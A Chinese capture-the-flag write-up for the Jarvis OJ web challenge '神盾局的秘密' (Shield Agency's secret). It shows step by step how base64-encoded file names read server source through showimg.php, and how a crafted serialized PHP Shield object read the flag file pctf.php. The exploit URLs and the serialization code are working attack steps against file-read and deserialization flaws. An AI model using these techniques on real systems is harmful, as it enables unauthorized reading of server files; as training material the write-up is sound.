web-神盾局的秘密
题目地址
http://web.jarvisoj.com:32768/
首页是一张图片

查看源码,看到了一些猫腻,showing.php c2hpZWxkLmpwZw==是base64编码 解码成shield.jpg

我们尝试输入一下,得到了一堆乱码,可以确定是一个文件包含漏洞,可以任意读取服务器文件,文件名用base64加密

尝试读取一下shield.php(c2hpZWxkLnBocA==)
view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
过滤了切换目录的字符和pctf
之后我们尝试获取index.php的页面 index.php(aW5kZXgucGhw)
view-source:http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
包含shield.php,可以通过get传参的方式,new 一个shield类,然后进行反序列化,那就读取一下shield.php(c2hpZWxkLnBocA==)的内容
http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
} function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
得到了shield的类的构造函数和方法,还有提示flag在pctf.php 那读取一下pctf.php(cGN0Zi5waHA=)
http://web.jarvisoj.com:32768/showimg.php?img=cGN0Zi5waHA=

没有找到文件,前面过滤掉了pctf,所以不能直接利用,但是定义shield类里面没有进行过滤,我们利用反序列化漏洞,构造一个shield类,且属性file为pctf.php
把上面的序列化代码复制下来,本地跑一下
<?php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
} function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$shield = new Shield('pctf.php');
echo serialize($shield);
?>
得到本地的结果

然后输入最后的payload
http://web.jarvisoj.com:32768/?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
因为是被注释的,只能查看源码F12才能找到flag

考察点
文件包含漏洞
反序列化漏洞
web-神盾局的秘密的更多相关文章
- jarvis OJ WEB题目writeup
0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...
- JarvisOJ平台Web题部分writeup
PORT51 题目链接:http://web.jarvisoj.com:32770/ 这道题本来以为是访问服务器的51号端口,但是想想又不太对,应该是本地的51号端口访问服务器 想着用linux下的c ...
- 【web JSP basePath】basePath的含义
问题1:WEB-INF的问题 今天新创建项目,在JSP中引入外部的JS文件和CSS文件,但是路径一直显示错误: 其中JSP页面引入这几个文件是这么写的: <link rel="styl ...
- PCTF-2016-WEB
Pctf ** web100 PORT51** 开始看到这个真的无法下手,想过用python–socket编程或者scapy发包.自己觉得是可以的,但是没有去试,后面看一大神writeup,知道: ...
- PHP反序列化漏洞研究
序列化 序列化说通俗点就是把一个对象变成可以传输的字符串 php serialize()函数 用于序列化对象或数组,并返回一个字符串.序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结 ...
- C# (转载)webbrowser专题(参考资料:https://www.cnblogs.com/blogpro/p/11458390.html)
C# .Net 2.0实例学习:WebBrowser页面与WinForm交互技巧 2 Study Case :高亮显示 上一个例子中我们学会了查找文本——究跟到底,对Web页面还是只读不写.那么,如果 ...
- C# webbrowser专题
C# .Net 2.0实例学习:WebBrowser页面与WinForm交互技巧 2 Study Case :高亮显示 上一个例子中我们学会了查找文本——究跟到底,对Web页面还是只读不写.那么,如果 ...
- Spring Boot的前世今生以及它和Spring Cloud的关系详解。
要了解Spring Boot的发展背景,还得从2004年Spring Framework1.0版本发布开始说起,不过大家都是从开始学习Java就使用Spring Framework了,所以就不做过多展 ...
- 【原】移动web点5像素的秘密
最近和一个朋友聊天,朋友吐露了工作上的一些不开心,说自己总是喜欢跟别人比较,活得比较累,这种感觉大部分人经历过,往往觉得是自己心态不好,其实不然,这是人性,此时应该快速摆脱这种状态,想到DOTA大9神 ...
- 移动web点5像素的秘密
最近和一个朋友聊天,朋友吐露了工作上的一些不开心,说自己总是喜欢跟别人比较,活得比较累,这种感觉大部分人经历过,往往觉得是自己心态不好,其实不然,这是人性,此时应该快速摆脱这种状态,想到DOTA大9神 ...
随机推荐
- Linux系统学习 三、网络基础—虚拟机网络配置
Linux网络基础 Linux的ip地址配置 Linux网络配置文件 常用网络命令 虚拟机网络参数配置 1.配置Linux的IP地址 首先配置一个IP地址,让IP生效. ifconfig查看当前网络配 ...
- Python踩坑系列之安装pycrypto报错:“Microsoft Visual C++14.0 is required”问题。
由于要使用Python3实现des3加密要使用pycrypto模块,所以使用pip install pycrypto 来安装,然后就常规性掉坑.安装报错“Microsoft Visual C++14. ...
- RabbitMQ入门及其几种工作模式
1.简介 MQ全程Message Queue,用于应用程序和应用程序间进行通信.RabbitMQ采用Erlang编写,实现了AMQP(高级消息队列)协议,跨平台,支持各种主流的操作系统和多种客户端. ...
- 8. Vue - Router
一.Vue Router 的使用 JavaScript: 1.创建组件:创建单页面应用需要渲染的组件 2.创建路由:创建VueRouter实例 3.映射路由:调用VueRouter实例的map方法 4 ...
- 0day2安全——笔记4(修改临界变量)
第二章 修改临界变量 #include <stdio.h> #include <string.h> #define PASSWORD "1234567" i ...
- 二叉搜索树中第K小的元素
给定一个二叉搜索树,编写一个函数 kthSmallest 来查找其中第 k 个最小的元素. 说明:你可以假设 k 总是有效的,1 ≤ k ≤ 二叉搜索树元素个数. 示例 1: 输入: root = [ ...
- AntzOs系列导航
Antz操作系统 一个自制的操作系统,Antz .半图形化半命令式系统,同时嵌入Antzscript脚本语言(写在之后). 自制操作系统Antz(1)——Boot Sector 自制操作系统Antz( ...
- MySQL属性SQL_MODE学习笔记
最近在学习<MySQL技术内幕:SQL编程>并做了笔记,本博客是一篇笔记类型博客,分享出来,方便自己以后复习,也可以帮助其他人 SQL_MODE:MySQL特有的一个属性,用途很广,可以通 ...
- 【计算机网络】如何让Ajax通信过程携带Cookie呢?
Ajax 1. 介绍一下ajax并代码实现 1.1 基本概念 JavaScript 和XML(Asynchronous JavaScript And XML).简单点说,就是使用 XMLHttpReq ...
- php使用inotify扩展监控文件或目录,如果发生改变,就执行指定命令
通过inotify扩展监控文件或目录的变化,如果发生变化,就执行命令. 可以应用于 swoole 中,如果文件发生变化,就执行 kill -USR1 进程PID 来实现热更新. <?php cl ...